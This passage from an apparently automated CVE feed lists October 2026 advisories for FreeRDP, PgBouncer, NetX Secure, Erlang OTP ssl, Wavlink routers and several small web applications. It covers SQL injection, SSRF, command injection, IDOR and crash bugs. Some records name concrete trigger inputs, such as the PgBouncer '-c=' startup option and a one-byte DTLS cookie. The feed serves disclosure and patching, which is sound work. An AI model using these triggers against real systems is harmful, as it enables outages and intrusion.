Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only...
https://kevwire.com/record/CVE-2026-109942
FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only... (Oct 13, 2026).
FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only PKT_TYPE_CLOSE_CHANNEL packet and passes the null payload without a check. A malicious or compromised RD Gateway can send an eight-byte CLOSE_CHANNEL header to crash a connecting FreeRDP client.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109942).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109942&date=2026-10-25).
Sources:
NVD CVE-2026-109942: https://nvd.nist.gov/vuln/detail/CVE-2026-109942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109942&date=2026-10-25
FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only PKT_TYPE_CLOSE_CHANNEL packet and passes the null payload without a check. A malicious or compromised RD Gateway can send an eight-byte CLOSE_CHANNEL header to crash a connecting FreeRDP client.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file...
https://kevwire.com/record/CVE-2026-109522
A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file... (Oct 13, 2026).
A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file Admin/deleteclinic.php of the component Admin CRUD Endpoint. The manipulation of the argument cid/did leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109522).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109522&date=2026-10-25).
Sources:
NVD CVE-2026-109522: https://nvd.nist.gov/vuln/detail/CVE-2026-109522
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109522&date=2026-10-25
A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file Admin/deleteclinic.php of the component Admin CRUD Endpoint. The manipulation of the argument cid/did leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file...
https://kevwire.com/record/CVE-2026-109405
A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file... (Oct 13, 2026).
A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java. The manipulation of the argument kafka_request.bootStrapServers results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109405).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109405&date=2026-10-25).
Sources:
NVD CVE-2026-109405: https://nvd.nist.gov/vuln/detail/CVE-2026-109405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109405&date=2026-10-25
A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java. The manipulation of the argument kafka_request.bootStrapServers results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler.
https://kevwire.com/record/CVE-2026-109156
A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler. (Oct 13, 2026).
A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler. Such manipulation leads to path traversal. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109156).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109156&date=2026-10-25).
Sources:
NVD CVE-2026-109156: https://nvd.nist.gov/vuln/detail/CVE-2026-109156
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109156&date=2026-10-25
A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler. Such manipulation leads to path traversal. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file...
https://kevwire.com/record/CVE-2026-109115
A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file... (Oct 13, 2026).
A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file User/forgot3.php of the component Password Reset. Performing a manipulation of the argument email/password results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109115).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109115&date=2026-10-25).
Sources:
NVD CVE-2026-109115: https://nvd.nist.gov/vuln/detail/CVE-2026-109115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109115&date=2026-10-25
A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file User/forgot3.php of the component Password Reset. Performing a manipulation of the argument email/password results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi.
https://kevwire.com/record/CVE-2026-109108
A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. (Oct 13, 2026).
A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109108).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109108&date=2026-10-25).
Sources:
NVD CVE-2026-109108: https://nvd.nist.gov/vuln/detail/CVE-2026-109108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109108&date=2026-10-25
A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save.
https://kevwire.com/record/CVE-2026-108974
A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save. (Oct 13, 2026).
A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save. Such manipulation of the argument img leads to unrestricted upload. The attack can be launched remotely. The exploit is publicly available and might be used.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108974).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108974&date=2026-10-25).
Sources:
NVD CVE-2026-108974: https://nvd.nist.gov/vuln/detail/CVE-2026-108974
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108974&date=2026-10-25
A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save. Such manipulation of the argument img leads to unrestricted upload. The attack can be launched remotely. The exploit is publicly available and might be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file...
https://kevwire.com/record/CVE-2026-108970
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file... (Oct 13, 2026).
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file include/database.php of the component Registration Form. Performing a manipulation of the argument branch results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108970&date=2026-10-25).
Sources:
NVD CVE-2026-108970: https://nvd.nist.gov/vuln/detail/CVE-2026-108970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108970&date=2026-10-25
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file include/database.php of the component Registration Form. Performing a manipulation of the argument branch results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php.
https://kevwire.com/record/CVE-2026-108966
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php. (Oct 13, 2026).
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php. The manipulation of the argument Category leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108966).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108966&date=2026-10-25).
Sources:
NVD CVE-2026-108966: https://nvd.nist.gov/vuln/detail/CVE-2026-108966
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108966&date=2026-10-25
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php. The manipulation of the argument Category leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.
https://kevwire.com/record/CVE-2026-102692
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. (Oct 16, 2026).
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, nanocoap accepts oversized CoAP Block2 option values without enforcing the 20-bit maximum block number, allowing block offset multiplication to overflow on 32-bit targets. The affected master baseline is commit aeeae69e; the verified fix is later on master and remains unreleased. The oversized value passes from coap_get_blockopt() to coap_block_slicer_init(). A remote CoAP client can send a malformed Block2 option that produces an invalid slice range and can cause out-of-bounds memory access, denial of service, or memory corruption. This vulnerability is fixed in 2026.07.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102692).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102692&date=2026-10-25).
Sources:
NVD CVE-2026-102692: https://nvd.nist.gov/vuln/detail/CVE-2026-102692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102692&date=2026-10-25
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, nanocoap accepts oversized CoAP Block2 option values without enforcing the 20-bit maximum block number, allowing block offset multiplication to overflow on 32-bit targets. The affected master baseline is commit aeeae69e; the verified fix is later on master and remains unreleased. The oversized value passes from coap_get_blockopt() to coap_block_slicer_init(). A remote CoAP client can send a malformed Block2 option that produces an invalid slice range and can cause out-of-bounds memory access, denial of service, or memory corruption. This vulnerability is fixed in 2026.07.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3...
https://kevwire.com/record/CVE-2026-94200
Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3... (Oct 14, 2026).
Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3 server to cause a denial of service of the ssl application on the client node.

The TLS 1.3 client decodes the extensions of a NewSessionTicket message as if they came from EncryptedExtensions. It therefore accepts a 0-length early_data extension, a form that is only valid in ClientHello and EncryptedExtensions. With {session_tickets, auto}, the client stores the ticket in the node-global tls_client_ticket_store. On the next automatic resumption, tls_handshake_1_3:get_max_early_data/1 crashes the store with a case_clause. Repeated crashes can exceed the restart intensity of the ssl supervisors, which use the rest_for_one strategy, and take down ssl for all connections on the node.

This issue affects OTP from OTP 23.3 before OTP 27.3.4.19, OTP 28.5.0.8, and OTP 29.1.2, corresponding to ssl from 10.3 before 11.2.12.14, 11.6.0.7, and 11.7.8.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94200).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94200&date=2026-10-25).
Sources:
NVD CVE-2026-94200: https://nvd.nist.gov/vuln/detail/CVE-2026-94200
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94200&date=2026-10-25
Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3 server to cause a denial of service of the ssl application on the client node.

The TLS 1.3 client decodes the extensions of a NewSessionTicket message as if they came from EncryptedExtensions. It therefore accepts a 0-length early_data extension, a form that is only valid in ClientHello and EncryptedExtensions. With {session_tickets, auto}, the client stores the ticket in the node-global tls_client_ticket_store. On the next automatic resumption, tls_handshake_1_3:get_max_early_data/1 crashes the store with a case_clause. Repeated crashes can exceed the restart intensity of the ssl supervisors, which use the rest_for_one strategy, and take down ssl for all connections on the node.

This issue affects OTP from OTP 23.3 before OTP 27.3.4.19, OTP 28.5.0.8, and OTP 29.1.2, corresponding to ssl from 10.3 before 11.2.12.14, 11.6.0.7, and 11.7.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without...
https://kevwire.com/record/CVE-2026-79957
ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without... (Oct 14, 2026).
ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without verifying that the authenticated token belongs to the requested account (CWE-639). Any authenticated user can iterate the ID parameter to retrieve the full profile record of every other user, including passwords stored in cleartext (CWE-256), enabling account takeover and credential-stuffing attacks.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79957).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79957&date=2026-10-25).
Sources:
NVD CVE-2026-79957: https://nvd.nist.gov/vuln/detail/CVE-2026-79957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79957&date=2026-10-25
ServiceNext contains an insecure direct object reference (IDOR) in the /api/Usuario/GetUsuarios endpoint, which accepts a user-controlled numeric ID in the request body without verifying that the authenticated token belongs to the requested account (CWE-639). Any authenticated user can iterate the ID parameter to retrieve the full profile record of every other user, including passwords stored in cleartext (CWE-256), enabling account takeover and credential-stuffing attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An administrator could retrieve the password reset code for any user and take over the account.
https://kevwire.com/record/CVE-2026-108337
An administrator could retrieve the password reset code for any user and take over the account. (Oct 14, 2026).
An administrator could retrieve the password reset code for any user and take over the account.



The password reset codes were included in the output of an API and could be used to reset the password of any account. The API is limited to use by administrator accounts only.



An attacker who already has administrative access to the application could compromise the credentials of other accounts on the application. Device credentials and customer data cannot be accessed with this vulnerability.
CVSS 7.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108337).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108337&date=2026-10-25).
Sources:
NVD CVE-2026-108337: https://nvd.nist.gov/vuln/detail/CVE-2026-108337
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108337&date=2026-10-25
An administrator could retrieve the password reset code for any user and take over the account.



The password reset codes were included in the output of an API and could be used to reset the password of any account. The API is limited to use by administrator accounts only.



An attacker who already has administrative access to the application could compromise the credentials of other accounts on the application. Device credentials and customer data cannot be accessed with this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service.
https://kevwire.com/record/CVE-2026-107349
An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service. (Oct 14, 2026).
An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service. A StartupMessage whose options parameter contains an empty parameter name, such as "-c=", makes the ignore_startup_parameters list lookup loop forever. Because PgBouncer serves all clients from a single process, this saturates a CPU core and makes PgBouncer unresponsive to all clients until the process is restarted.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107349).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107349&date=2026-10-25).
Sources:
NVD CVE-2026-107349: https://nvd.nist.gov/vuln/detail/CVE-2026-107349
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107349&date=2026-10-25
An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service. A StartupMessage whose options parameter contains an empty parameter name, such as "-c=", makes the ignore_startup_parameters list lookup loop forever. Because PgBouncer serves all clients from a single process, this saturates a CPU core and makes PgBouncer unresponsive to all clients until the process is restarted.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns.
https://kevwire.com/record/CVE-2026-106465
The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns. (Oct 14, 2026).
The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns. The ClientHello parser copies the client's cookie bytes over the value the server issued, and the server then decides whether the client has been verified from the cookie's length alone. A peer that puts any single cookie byte in its first ClientHello skips the verification exchange entirely, so the server has no return-routability check and completes handshakes for forged source addresses.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106465).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106465&date=2026-10-25).
Sources:
NVD CVE-2026-106465: https://nvd.nist.gov/vuln/detail/CVE-2026-106465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106465&date=2026-10-25
The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns. The ClientHello parser copies the client's cookie bytes over the value the server issued, and the server then decides whether the client has been verified from the cookie's length alone. A peer that puts any single cookie byte in its first ClientHello skips the verification exchange entirely, so the server has no return-routability check and completes handshakes for forged source addresses.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### `_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero.
https://kevwire.com/record/CVE-2026-106464
`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero. (Oct 14, 2026).
`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero. A certificate whose signature is an empty ASN.1 BIT STRING therefore parses successfully and leaves the certificate holding a signature length of `0xFFFFFFFF` and a signature pointer one byte past the end of the buffer. Certificates are parsed from the peer during the TLS handshake, so the input is remote and unauthenticated.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106464).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106464&date=2026-10-25).
Sources:
NVD CVE-2026-106464: https://nvd.nist.gov/vuln/detail/CVE-2026-106464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106464&date=2026-10-25
`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero. A certificate whose signature is an empty ASN.1 BIT STRING therefore parses successfully and leaves the certificate holding a signature length of `0xFFFFFFFF` and a signature pointer one byte past the end of the buffer. Certificates are parsed from the peer during the TLS handshake, so the input is remote and unauthenticated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small...
https://kevwire.com/record/CVE-2026-105659
